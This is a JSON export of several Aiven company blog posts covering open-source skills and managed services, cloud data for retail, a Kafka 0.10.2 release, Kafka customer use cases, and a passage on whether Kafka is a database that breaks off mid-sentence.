{"__i18n_lang":"en","_createdAt":"2024-02-07T15:44:47Z","_id":"a3acabfb-5261-424e-8619-090ddfdb12b3","_rev":"neae7oL4y1FotDvvRLI2U9","_type":"post","_updatedAt":"2024-07-11T12:25:23Z","authors":[{"_key":"f3598f7cf3b4","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"At the start of the Open-Source Software (OSS) revolution, there were, by definition, fewer OSS technologies. With cloud still in its infancy, those projects could only be self-hosted by enterprises. This necessitated the need to hire engineers with skills and experience in these OSS technologies, which ensured a career of some certainty for those willing to commit to an OSS project of worth. A win-win for all. Innovation with rapid development and greater flexibility and control over how you structure your data for the business and a reliable career path for developers who could specialize and gain deep expertise in a technology, both in a cycle of perpetual improvement.\n \nHow times have changed.\n\n## Hunting for OSS skills\nThe advent of the cloud altered the playing field considerably. It reduced the opportunity for people to make careers out of being committers (to OSS projects) because the prevalence of activity now happens increasingly where the technology is hosted. With most of the deep technical configuration and troubleshooting pooling within the cloud providers, there is less technically interesting or challenging work for developers  in the companies choosing to use these OSS projects.  This poses a challenge to OSS commitment with the expertise now concentrated in cloud vendors, often referred to as the [elephant factor.](https://chaoss.community/kb/metric-elephant-factor/)\n \nNo surprises then that, according to [Statista](https://www.statista.com/statistics/639467/worldwide-open-source-survey-most-important-skills-according-to-hiring-managers/), in 2022 the most in-demand open source skill was previous experience with cloud and containers, sought by 69% of hiring managers. Though the distortion in the market created by the cloud has not dampened the desire for OSS skills. An [Open UK report](https://openuk.uk/press-releases-posts/openuk-launches-skills-or-bust-report-showcasing-how-uk-open-source-skills-can-power-the-future-uk-tech-economy/) in late 2023 found that 77% of companies are hunting for programming skills in the UK.\n \n## The winning bet?\nThe demand is considerable because the ecosystem is maturing. New projects are emerging daily covering everything from infrastructure to more specialized technologies, like Kubernetes and databases for AI. Indeed, every time there's a new technology there are multiple OSS versions of it. The footprint by volume of projects that a developer can choose to commit to is drastically bigger than it was 10 years ago. Yet there’s no way of knowing which one is going to be the winning bet, leading to developer uncertainty.\n \nThat breadth of options combined with the lack of guarantee has created another dilemma. Because of the increase in project volume, OSS projects are not garnering the same acceleration in innovation and development as would have historically been the case when projects were fewer. This makes purchasing and investment decisions for businesses harder and increases the risk of backing a technology or OSS project that becomes stagnant after they’ve made their bet.\n\nInstead we are increasingly seeing employers outside the cloud vendors, looking to recruit developers with cloud development skills and experience.\n \n## Consequences of commercialization\nTo complicate matters further, new technologies are adopted at a more rapid pace, and boards of companies are increasingly looking to maximise the value of their investment in a company championing a specific OSS managed service, earlier in their lifecycle. Previously this was to protect themselves from cloud vendors hosting their technology and profiting from it, giving little or nothing back to the community. This practice has been most evident recently in the Graph database ecosystem with Neo4j and Tigergraph, but I expect this trend to become more prevalent in new and novel technologies as they emerge. This not only impacts community contributions but can deter engineers from long-term commitment to a project (because doing so will wed them to a technology that no other company is running, reducing their opportunities, and the impact their code can have in the world). The shift in licensing jeopardizes both innovation and a project's long-term viability while leaving a less vibrant OSS community than what was there before.\n \nAs a result, an increasing number of OSS projects such as Qdrant, Pinecone and LangChain,  are adopting a permissive license to keep the movement going, to attract talent that cares deeply about OSS and to maintain levels of flexibility and choice that appeals to the companies they hope will adopt it. In all likelihood, as in the past, older technology is perfectly capable of keeping up with changing needs but because of the distortion in the skills market, there is a lack of expertise and skills to do the work of keeping the project or technology relevant, and so customers are less committed to long term use of any one technology.\n \nIt was a point made by Jim Zemlin, executive director, The Linux Foundation, speaking recently at Open Source Summit Europe 2023, who said, “Our biggest challenge is hiring smart people to come in and help facilitate all of the collective development that happens across the now 1000s of open source projects that we steward.” Indeed, according to a [June 2022  report](https://www.techrepublic.com/article/employers-increase-hiring-open-source-skills/) by Linux Foundation and edX, 93% of people responsible for filling OSS positions said they’re bumping into difficulty trying to find qualified people with the right OSS skills.\n \nWhen faced with this combination of a pressurized skills market, OSS projects increasingly being commercialized and reticence about backing a project and losing investment as a result, how can companies protect themselves?\n \n## Open core is harmful\nIt’s a situation that has given rise to OSS managed services. These services offer the value associated with hosting open-source software, for instance, upgrading open source tools to address bug fixes and unlock new features. They are also a step-up from the open core model often adopted by well funded startups (where only selected and limited functionality is available under an open source license). Open core projects are not true open source, with no vibrant community, valuable features are blocked in the open core product, while the key features are paywalled in the licensed version of the offering, as we see with Redis. The primary goal for OSS managed service providers is to make configuration, monitoring, and management of complex open-source IaaS and SaaS simpler, faster, more predictable, and more reliable. These vendors naturally gain from the pooling of technology experts where the services are hosted and by employing committers to the various OSS projects, so that they can continue to develop and represent the communities needs, which their customers are obviously part of, in the upstream projects. This way we can ensure a bright future for these open source projects.\n \nGoing with an OSS managed service provider means that companies are protected from the license change because the OSS managed service companies are often stewards, participants and contributors to the OSS technology packages that they support. They are often founding members of organizations that sponsor and guide the technical direction of complex open-source projects.\n \nSimilarly, they also offer protection against the challenges with skills access and the innovation associated with it. It’s precisely why we have an open source program office (OSPO) which employs committers to projects that we host, with a clear mission, making these open source projects sustainable, so ours and our customers' business can thrive and grow without worrying whether their infrastructure open source projects will exist in the future. Doing so ensures that customers' workloads are managed by companies with the right skills  and means we give our customers the best support with the most vibrant community possible.\n\nEvidence of the OSS managed service providers acknowledging this need, is clear in the [https://opensourceindex.io/](https://opensourceindex.io/). Hyperscalers are increasingly aware of the need to support and contribute more directly to the OSS projects that drive their customer success. A question remains whether smaller providers have the resources to do the same, and what the ROI of committing resources to contribute to the upstream is for them.\n \n## A fruitful future for OSS\nCompanies want to focus on their IP and critical business functions, leaving OSS projects and the issues associated with them to the OSS managed providers. But realizing success here means businesses must ensure that the OSSMS providers that they use have the skill sets in house to meet their objectives, otherwise failure is inevitable.\n \nThis is key to a fruitful future for OSS. One that mitigates the challenges of skills access and commercialization while providing value and innovation to enterprises and, in doing so, builds the talent pool and OSS community to keep innovation and value high for the future.\n \nFor more information about Aiven and our work in the open source community, please check out our [website](https://aiven.io/) and our [Open Source Program Office (OSPO) page](https://aiven.io/open-source-program-office).\n\n## Further reading\n\n- [Aiven statement on license changes for the Confluent Platform](https://aiven.io/blog/aiven-statement-on-kafka-license)","categories":[{"_key":"13d6f242d28f","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"b9220271cb0d","_ref":"5da1e1bb-fe75-4489-8510-b67f1fdec3c7","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Orange background with white writing saying \"Maintaining Innovation and Access to Skills for OSS Projects\". The Aiven logo is in the bottom left of the image.","asset":{"_ref":"image-4d05bc1a7856a5cfcf3a5dccda7684505067a1e5-1200x628-png","_type":"reference"}},"publishedAt":"2024-02-08T09:47:13.396Z","related":[{"_key":"88a686f7eceb","_ref":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_type":"reference"},{"_key":"6f0ff01c3e21","_ref":"4lLkmyrsLLZ2asRfGakbUs","_type":"reference"},{"_key":"1f91c592e30c","_ref":"6xsLe60xhyOugnLw9yg8Uc","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover how OSS managed services can offer protection against the challenges of skills access and innovation restriction for open source projects","metaTitle":"Maintaining Innovation and Access to Skills for OSS Projects"},"slug":{"_type":"slug","current":"/blog/maintaining-innovation-and-access-to-skills-for-oss-projects"},"subtitle":"Discover how OSS managed services can offer protection against the challenges of skills access and innovation restriction for open source projects","title":"Maintaining Innovation and Access to Skills for OSS Projects"}
{"__i18n_lang":"en","_createdAt":"2022-09-30T15:36:46Z","_id":"Ly347MEMMfb0RG0hpKNiv","_rev":"Y6NNh6Ue45iOdNdcw9LEzS","_type":"post","_updatedAt":"2024-07-04T13:58:43Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Post-covid, the world has seen a sea change in the way people make purchases, taking them further in the direction of [e-commerce and omnichannel shopping](https://www.ibm.com/blogs/industries/retail-cloud-hybrid-shopping-customer-and-employee-experience-transformed/). And these trends look like [they’re here to stay](https://www.accenture.com/us-en/insights/retail/coronavirus-consumer-habits). Stories like this are why the retail business is increasingly looking at ways to level up with cloud technology, and keep their consumers engaged.\n\n## Business meets tech: cloud computing in retail\nCloud computing is just computing that happens in a cloud. \n\nI think we can all agree that this makes it sound less intimidating. Retail businesses use computers, ergo, they can use cloud computing. The question we should be asking is: what is so special about cloud computing that makes it the right choice for retail companies?\n\nThere are two important aspects: amount and location of data.\n### It’s a numbers game\nThe retail business thrives on massive amounts of data. Inventory management and forecasting alone is a bunch of heavy-duty workloads. So is transaction processing, whether fully online or from POS terminals. Business intelligence processes need their own time and space to run, and no one wants them interrupting sales transactions.\n\nBuilding up the processing and storage capabilities able to handle these is a tall order. More than that, buying and owning buildings, telecom connectivity, air-conditioning units and so on is probably not part of your core business.\n\nUsing public cloud infrastructure gives quicker access to the benefits of running heavy data loads. Everything physical lives in the provider’s buildings, you just pay for its use. Quicker ramp-up and scaling is a big factor.\n\n![Data infrastructure options](//cdn.sanity.io/images/sczeoy4w/production/67a6b552001d3f1250569ea67b4a732e44d2eabe-800x436.png)\n\n### Location, location, location\nAnother reason global companies in the retail industry in particular use cloud computing is that it allows you to bring data storage and processing closer to the point of sale. \n\nIf your offices are in Europe but your workloads are in Asia, it makes no sense to live with the lag and uncertainty of sending data back and forth. Instead, get a cloud database hosted in a nearby town, and get all the benefits and none of the lag. \n\nMore importantly still, data protection laws may prohibit transferring users’ data across borders. Global retailers can use cloud computing to ensure that personal data never leaves the country of sale while still benefiting from the business insights they can derive from concatenated, anonymous data.\n## Benefits of managed cloud for retail\nThe benefits of computing power in retail involve the whole industry. Massive amounts of data can be utilized in:\n- Inventory management\n- Warehouse management\n- Supply chain management\n- Data security\n- Customer experience\n- Disaster management\n- POS terminal updates\n- Pricing \u0026 margin management\n- Loyalty-program management\n- Omnichannel order fulfillment\n\nBut what are the benefits of *cloud* computing, specifically managed cloud computing, for retail businesses? Let’s find out.\n\n![On-premises v. managed public cloud in a nutshell](//cdn.sanity.io/images/sczeoy4w/production/7b09655470d3c0a1b497956a7e426dc6afad3e29-800x274.png)\n\n### Managed cloud is most cost-effective\nPrice is the big question, right? You probably weren’t expecting to see it in the benefits section.\n\nAs already discussed, investing in managed cloud infrastructure reduces the amount you spend on your physical setup. Your expenditure moves from CapEx to OpEx and you’re not stuck managing janitors and negotiating for internet connectivity.\n\nManaged clouds are also easier to upscale and downscale than physical setups. This has important implications. [If you can’t upscale at need, you have to build your infrastructure to handle peak workloads](https://aiven.io/blog/5-1-ways-to-avoid-high-load-disaster) or risk serious trouble. That means that 80-90% of the time, that capacity is sitting idle but still costing you money. \n\nAll this means that the Total Cost of Ownership, spread out over years and years, is still lower with a [managed cloud data](https://aiven.io/blog/5-best-practices-for-cloud-database-management) service than an on-premises solution.\n### Faster time to market\nWithout the need to build infrastructure, you can get your product or service out there quickly. And not just the first release: also development and testing cycles are shorter when you can easily spin up new environments.\n### Process efficiency\nInstead of siloed systems for each purpose that are not talking to each other, going into the cloud allows you to build an overarching data infrastructure. This platform model, enhanced with API access to any external systems, equips teams and outlets with real-time data globally. Data can be accessed wherever it’s needed.\n\nFurthermore, the managed data platform model offers good observability to make sure that your services stay available.\n### Efficient supply chain and just-in-time inventory management\nEffective inventory management lets retail businesses time and scale their purchases correctly. That’s why it’s an absolutely essential tool that keeps businesses afloat. Today it’s possible to track and monitor the flow of goods in real-time, allowing companies to implement just-in-time inventory management protocols.\n\nOne of the most vulnerable links in the information chain is the connectivity from the point of sale to the central inventory system. That’s where it helps to provide a data hub at a reasonable distance for all locations.\n\nYou can automate all supply chain and inventory processes. You can even take it to the next level by employing things like predictive systems working on real-time aisle location data. But that takes a lot of computing power and data storage space--only cloud setups can accommodate that much without driving you to bankruptcy.\n\n### Enhanced customer experience\nA fast and smooth checkout process is a fundamental part of a good customer experience--and seller experience, if your company is a marketplace. And naturally you don’t want offline POS terminals, otherwise you face the risk of fraud. Good connectivity at checkout really pays off. (No pun intended…)\n\nIn addition to monetary transactions, consider data about loyalty programs, which have to be fetched from a centralized database; here again the data confidentiality legislation may be an obstacle, unless your data is housed locally.\n\nBut one modern use case that pretty much mandates the use of the cloud, especially for larger retailers, is omnichannel shopping. Consumers today may order their goods online, pay using a third-party app, and then pick up their goods in-store. These are all different systems, and it’s essential that they all talk to each other. \n\nOther applications for the real-time data exchange services that a cloud platform enables include various IoT use cases and utilization of RFID technology.\n### Secure and reliable data environment\nIt’s becoming a truism that public cloud environments have the best security. After all, instead of a 1-2 person DBA team, public clouds employ a whole host of cloud professionals who keep up to date with the latest threats and are able to apply patches whenever needed. Their business depends on it--literally and directly. Cloud providers can’t afford to not have their cloud up and running, not just for reputational reasons but because they’re liable for the damages caused to their customers. SLAs are in place to ensure that compensation happens.\n\nTip! Check out [“Data security compliance in the cloud”](https://aiven.io/blog/data-security-compliance-in-the-cloud). \n\nWhere public clouds use open source software, it also increases security. The community that forms around an open source project will detect and eliminate vulnerabilities as well as bugs.\n\nThe careful and judicious cloud provider will also take the time to [comply with all major data regulations and standards](https://aiven.io/blog/data-security-compliance-in-the-cloud). That’s one less thing to worry about. Even if you need an Enhanced Compliance environment, a managed provider may be able to accommodate your existing account with a [Bring-Your-Own-Cloud (BYOC) arrangement](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc). \n\nMalicious attacks aren’t the only thing you have to worry about, though. Natural disasters offer plenty of fodder for nightmares. To minimize your risks, it’s best to have your data infra distributed over a wide geographical area and set up to be durable and disaster-proof.\n\nRelated:\nMake it easier for yourself and your provider to [survive peak load times](https://aiven.io/blog/5-1-ways-to-avoid-high-load-disaster).)\nIf the worst happens, get well-versed in [disaster recovery](https://aiven.io/blog/data-and-disaster-recovery).\n\n### Open source over proprietary software\nWith [open source software](https://aiven.io/blog/why-you-should-love-open-source-databases), you’ll always be able to rethink your decisions. That’s the single most important detail, but one that is too frequently overlooked. Your data should always remain yours, and proprietary software runs the risk of it being locked away, either because all exports are impossible, or because it’s in a format that’s incompatible with other systems.\n\nOpen source can also save money, but this is not a given. There are no license fees, but there are setup and maintenance costs which may exceed those of proprietary software. Moving to a managed service solves these problems, though, giving you the benefits without the downsides.\n\n[video image link, television](https://aiven.io/blog/how-retail-and-ecommerce-can-leverage-open-source-cloud-technology). \n\nOpen source software can indeed [help businesses succeed and scale up](https://aiven.io/blog/how-cloud-and-open-source-technology-help-apac-businesses-thrive), provided they have access to the talent required to implement them.\n### No hiring problems with managed services\nManaging business-critical services requires technical expertise that, at present, is fairly thin on the ground, especially if your business isn’t located in a large city. Overall, there’s a shortage of qualified people in IT. \n\nCloud service providers already have people who can manage Apache Kafka or other complex pieces of software for you. By using managed services, companies can have [access to experts without the hassle of finding and hiring them](https://aiven.io/case-studies/aiven-enabling-swift-growth). \n\n![Alfi Zainuddin, CTO at Swift Solutions](//cdn.sanity.io/images/sczeoy4w/production/311848e801bc59fd339e29b39fefa575c6a1e5a5-596x254.png)\n\n## Cloud computing transforms retail - real examples\nDespite its many benefits, cloud computing is not used by everyone. Nor should it be - not everyone benefits from it. However, the retail sector stands to profit hugely, as we’ve just seen.\n\nWhen it comes to cloud journeys, the retail and distribution sector is definitely not limping. It’s pretty advanced on its digital transformation path, in fact, compared to other industries like insurance, consumer products and even aerospace and defense (source: a study on the cloud maturity of the retail vertical by Arthur D. Little, commissioned by Aiven).\n\nRetailers use data more extensively than ever before. Data powers every aspect of the purchasing process, from warehouse and inventory management to customer journeys. Timely and flexible access to data is key to delivering modern retail experiences. \n\nLet’s take a look at a few retail companies and how they use data. \n\n- Starting from the more traditional use cases of optimizing warehousing and inventory management,  [Norauto](https://aiven.io/case-studies/norauto-developers-spin-up-databases-faster-than-ever-with-aiven), [Swift](https://aiven.io/case-studies/aiven-enabling-swift-growth) and [Zalando](https://aiven.io/blog/how-retail-and-ecommerce-can-leverage-open-source-cloud-technology) are all doing that (with Aiven’s services).\n- [Adeo](https://aiven.io/case-studies/aiven-cloud-helps-adeo) is doing something a bit more advanced. They’re combining supply chain and inventory management with analytics to gain an overall view and deep insights spanning their entire chain of stores. They’re no longer a siloed, segmented company, but a flexible cloud-based business able to develop new capabilities at high speed.\n- As for online business cases, [Mirakl](https://aiven.io/case-studies/mirakl-goes-cloud-native-with-aiven) uses Apache Kafka® to offer an online marketplace platform, where customers can create their own marketplaces.\n- And finally, Ometria [uses data about customers to provide customer insights](https://aiven.io/case-studies/aiven-for-postgresql-helps-ometria). They enable hundreds of retail marketers to create personalized marketing experiences through Ometria’s marketing platform.\n\n## Starting a retail digital transformation\nIf you now feel inspired to begin your company’s digital transformation or to change over to a managed service, a PaaS can definitely offer all the technological building blocks you need to reduce your risks and transform your business into a cloud-native one.\n\nHere are some articles to get you started:\n-  [5 good questions to ask before moving your database](https://aiven.io/blog/5-good-questions-to-ask-before-moving-your-database)\n- [4 key risks in moving to the cloud (and how to mitigate, manage and master them)](https://aiven.io/blog/4-key-risks-in-digital-data-transformation)\n\nP.S. We’d be remiss if we didn’t point out that Aiven offers a whole spread of [open source data infrastructure solutions](https://aiven.io/solutions/aiven-for-retail) applicable to the retail industry.\n## Wrapping up\nIn this article, we've covered many of the questions you might want to ask about managed cloud data infra in the retail industry. If you want to become even more of an expert at this topic, you can continue on to some of our more general articles.\n\nTo catch up on some basic vocabulary, you can read for example this [quick overview of public versus private clouds](https://aiven.io/blog/public-v-private-clouds-whats-the-difference). \n\nTo find out why we think cloud generally beats on-prem, have a look at our popular [“12 reasons” post](https://aiven.io/blog/12-reasons-you-should-choose-a-public-cloud-service). \n\nFor a quick overview of the logic behind open source software, glance at this post about [Aiven’s relationship with OSS](https://aiven.io/blog/why-you-should-love-open-source-databases). \n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\u003ca id=\"toc\"\u003e\u003c/a\u003e\n1. [Wrapping up](#wrapping-up)\n\nimage links: [![image alt](image url)](link)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-52dd9b2704a671efa4d6de2e7978e50b0b3dcfc9-3133x1688-png","_type":"reference"}},"publishedAt":"2022-09-30T00:00:00.000Z","seo":{"metaDescription":"Retailers are moving to the cloud in droves. Find out how they’re benefiting, and why you should brave the digital transformation too.","metaImage":{"alt":"","asset":{"_ref":"image-52dd9b2704a671efa4d6de2e7978e50b0b3dcfc9-3133x1688-png","_type":"reference"}},"metaTitle":"Managed cloud data works for retail"},"slug":{"_type":"slug","current":"/blog/managed-cloud-data-works-for-retail"},"subtitle":"Retailers are moving to the cloud in droves. Find out how they’re benefiting, and why you should brave the digital transformation too.","title":"Managed cloud data works for retail"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7ofbu7xRGdH9hK5fh8NJIm","_rev":"AUoLUkEDo6CVeRx5sqZfFf","_type":"post","_updatedAt":"2024-02-09T09:27:08Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We're making [Kafka 0.10.2](/kafka) available to all our customers today, for our existing customers the updates will be rolled out starting next week.\n\n### Improved stability and enhancements\n\n**Apache Kafka** version 0.10.2 brings many enhancements and bug fixes to Kafka.\n\nApache Kafka 0.10.2 is also groundbreaking for those who have been using the official Java client. Before the 0.10.2 release newer client versions could not talk to older cluster versions. The new Java client coming with 0.10.2 is finally able to talk to cluster versions 0.10 and 0.10.1 as well as the latest 0.10.2.\n\nThe new release comes with lots of other useful bug fixes as well. Previously for example if you deleted a topic, recreated it and tried consuming from it, Kafka would \"remember\" the old commit offsets. Now that's happily been fixed.\n\n*   [[KAFKA-2000]](https://issues.apache.org/jira/browse/KAFKA-2000) - Delete consumer offsets from kafka once the topic is deleted\n\nAnother thing that people have been asking us about is that since [Aiven for Apache Kafka](/kafka) does not give out access to Zookeeper directly, they've been not able to use Kafka streams functionality. That situation has now improved on the Apache Kafka side with the removal of the need to use Zookeeper directly.\n\n*   [[KAFKA-4060]](https://issues.apache.org/jira/browse/KAFKA-4060) - Remove ZkClient dependency in Kafka Streams\n\nIf you're interested in using the  Kafka Streams functionality with [Aiven for Apache Kafka](/kafka) please [contact](mailto:support@aiven.io) us and we'll get you set up with our beta program for enabling it.\n\n### Try the new Aiven for Apache Kafka 0.10.2 for free\n\nRemember that trying Aiven is free: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans. The offer works for all of our services: PostgreSQL, Redis, Grafana, OpenSearch and Apache Kafka!\n\nGo to [aiven.io](https://aiven.io/) to get started!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2017-04-20T14:35:00.000Z","seo":{"metaDescription":"Aiven for Apache Kafka® 0.10.2 now available","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for Apache Kafka® 0.10.2 now available"},"slug":{"_type":"slug","current":"/blog/aiven-kafka-0102-available"},"subtitle":"Aiven for Apache Kafka® 0.10.2 now available","title":"Aiven for Apache Kafka® 0.10.2 now available"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"ZIhwh1ZhFnaMv3ZBSp0tp","_rev":"Y6NNh6Ue45iOdNdcwAKpdz","_type":"post","_updatedAt":"2024-07-05T09:00:20Z","authors":[{"_key":"4nf1QwJnNR1cufhRrTPLU","_ref":"4nf1QwJnNR1cufhRrTPLU","_type":"reference"}],"body":"Gaming and gambling operator [Paf](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-paf) moved from a company operating mechanical slot machines into an operator of hybrid gaming infrastructure that had to run also in offline premises.\n\n[OVO Energy](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-ovo) uses Aiven for Apache Kafka to tackle the climate crisis by giving end users the means to take control of their energy usage. Paired up with e.g. OpenSearch, PostgreSQL, Redis and Grafana, Kafka bridges the gap between data collection and analytics.\n\n[Alef Education](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-alef-education) runs a major learning platform with Aiven for Apache Kafka and Grafana. Learners do their tasks online, and Kafka passes the information to Grafana for analytics.\n\n[GoTo Financial](https://aiven.io/case-studies/goto-financial-goes-far-with-aiven) provides payment and other financial services for the enormous Gojek ecosystem via Aiven for Apache Kafka.\n\n[Mirakl](https://aiven.io/case-studies/mirakl-goes-cloud-native-with-aiven) went from providing a separate environment for each of their online marketplace customers to a microservice architecture with Aiven for Apache Kafka.\n\n[JobCloud](https://aiven.io/case-studies/building-event-driven-architecture-with-aiven) integrated Aiven for Apache Kafka into their legacy systems and now runs Switzerland's largest job board with it. The new setup is modern, and very extensible and scalable.\n\nIn retail, [Norauto](https://aiven.io/case-studies/norauto-developers-spin-up-databases-faster-than-ever-with-aiven) uses Kafka to synchronise data between PostgreSQL, MySQL, OpenSearch and Redis to speed up development and free the database management bottleneck.\n\nAnd in the fully online world, [NetSpyGlass](https://aiven.io/case-studies/aiven-cloud-helps-netspyglass) modernised their on-prem, self-managed network monitoring automation with Aiven's managed [Apache Kafka](https://aiven.io/docs/products/kafka/concepts) and expanded the range of their services. The new solution empowered their engineers to develop better and faster ways to provision networks.\n\nFind out more: [What is Apache Kafka?](https://aiven.io/blog/what-is-apache-kafka)\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-7ae8ed56761bc36cfb6d47036f47c61cf29b5d37-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-20T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Apache Kafka is a great platform that can meet a great variety of use cases. Find out how Aiven's customers are using it to drive results and solve complexity.","metaImage":{"alt":"","asset":{"_ref":"image-7ae8ed56761bc36cfb6d47036f47c61cf29b5d37-1567x844-png","_type":"reference"}},"metaTitle":"Use cases for Apache Kafka | Find out more | Aiven"},"slug":{"_type":"slug","current":"/blog/use-cases-for-apache-kafka"},"subtitle":"Apache Kafka is a great platform that can meet a great variety of use cases. Find out how Aiven's customers are using it to drive results and solve complexity.","title":"Use cases for Apache Kafka"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3Xe7P8WIqPY900ZHpuDHQC","_rev":"ejVwHgKe5k9eDWbchuHUYv","_type":"post","_updatedAt":"2024-07-11T09:04:34Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"It’s stormy times on the internet, and the waters are seething. The rolling waves strike hard against the shores of [Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka\"), leaving behind arguments for and against this Great Question: Is It A Database?\n\nHere’s a handy tl;dr for this article: __Yes and no. It depends.__\n\nIf you keep your eyes on Apache Kafka’s logical niche in data architecture, and kind of squint, then yes--you could call it a database. It takes in data and gives out data, after all. It contains information about events that have occurred (insofar as it’s configured to of course). You may argue that having all that data in there is good enough reason to be using it as a database. \n\nBut does that mean Kafka is a database?\n\nIn the main, we’d have to come down on the side of No.\n## What do relational databases do well?\nThe Kafka vs. databases debate largely boils down to events vs. states.\n\nA relational database stores data as states. For example, a PostgreSQL database will tell you that your central warehouse has 41 chasing hammers that you can deliver to retail outlets. In other words, it tells you the state of affairs right now.\n\nIn contrast, Kafka will tell you that you ordered 100 birch-handled chasing hammers in July; 8 were delivered to Outlet A; 19 were delivered to Outlet B; 48 were delivered to outlet C; 20 more hammers were ordered (Outlet C seems to be very good at selling hammers, or they just lost a shipment), and 14 were delivered to Outlet D.\n\nIf at this point you need to ask “How many birch-handled chasing hammers are in the central warehouse?”, the relational database has your answer ready. Kafka really has to think about it. And the longer the chain of events involving chasing hammers in the central warehouse, the longer it thinks. So Kafka isn’t well-suited for occasional queries.\n\nTo take a much more common use case, consider holding on to inventory data for delivery to an online shop, so that consumers can purchase their birch-handled chasing hammers directly. In normal circumstances, again, both Kafka and relational databases perform equally well. \n\nBut what if there’s a problem and the data warehouse system has to be rebooted? Relational databases are just restored from a backup in seconds. To restore Kafka, you have to run it through all the same hoops of goods purchased, sent, ordered and received, just to reach the same state it was in before it went away.\n## What does Apache Kafka do well?\nKafka works on a completely different principle than a relational database. The fact that it stores data is incidental; what it actually does is make a note of events as they unfold. \n\nWell then, you say, if all Kafka can do is publish to streams and consume them, what’s it good for?\n\nBecause Kafka is all about events, it makes an excellent message bus component for a data pipeline. Kafka is definitely at its best as short-term storage from which other systems (including long-term storage databases) can retrieve data in a robust, ACID-compliant way. It eliminates data silos by allowing any interested component to find and consume data.\n\nAnd note that Kafka can step up to every letter of that acronym:\n- __A__tomicity: data in Kafka is either written in its entirety or it’s not written, and if a consumer fails, it can just go back and re-read the partition. \n- __C__onsistency: Kafka as a whole eats anything, but constraints can be mimicked by using partitions. In any case, this is more a property of the downstream application than it is of the data store itself.\n- __I__solation: data is absolutely, definitely serialised in Kafka, since events are always ordered by time and consumers will always read them in the same order. \n- __D__urability: Kafka writes data to disk and replicates it (to multiple brokers), which is precisely what any database worth its salt does. If you want backups, well, backups aren’t part of a database anyway, but it’s certainly possible to back up all the messages you write to Kafka.\n\nThe fact that one can even think of Kafka as being able to replace a database shows that Kafka really is versatile and multifunctional. Kafka can easily process enormous amounts of data, which comes in handy for recording transactions (such as purchases of chasing hammers!), compiling metrics, and handling streaming data of any kind. \n\nUsing Kafka as long-term data storage doesn’t take full advantage of its strengths and ignores its weak recovery arrangements. The recovery aspects are weak specifically because Kafka was never intended to store data, only to deliver it. It’s a data store only in the same sense that a pizza courier is a cooling rack.\n\n![Kafka-infograph](//cdn.sanity.io/images/sczeoy4w/production/3c23100934f9c82fbad055fb5a1443e65c8ba08d-2708x1771.png \"Apache Kafka in the data infrastructure\")\n\nAs you can see from the image, the most productive way to use Kafka is between systems. This completely divorces systems sending in data from systems picking it up. You don’t need custom integrations between every building block in your architecture, just plug Kafka into the middle and it takes care of the data for the short time it needs to persist before being read by a receiving component. The applications for this approach are wide and varied.\n## Wrapping up\nKafka is great. At Aiven, we all think so - after all, it's [part of our product offering](https://aiven.io/kafka \"Aiven for Apache Kafka product page\"). Kafka can do plenty of cool stuff. But in practice, to keep your data safe and your DBadmins happy, pair it with [some](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\") [other](https://aiven.io/mysql \"Aiven for MySQL product page\") [great](https://aiven.io/m3 \"Aiven for M3 product page\") open source data store.\n\nFor further reading, you might enjoy [An introduction to Apache 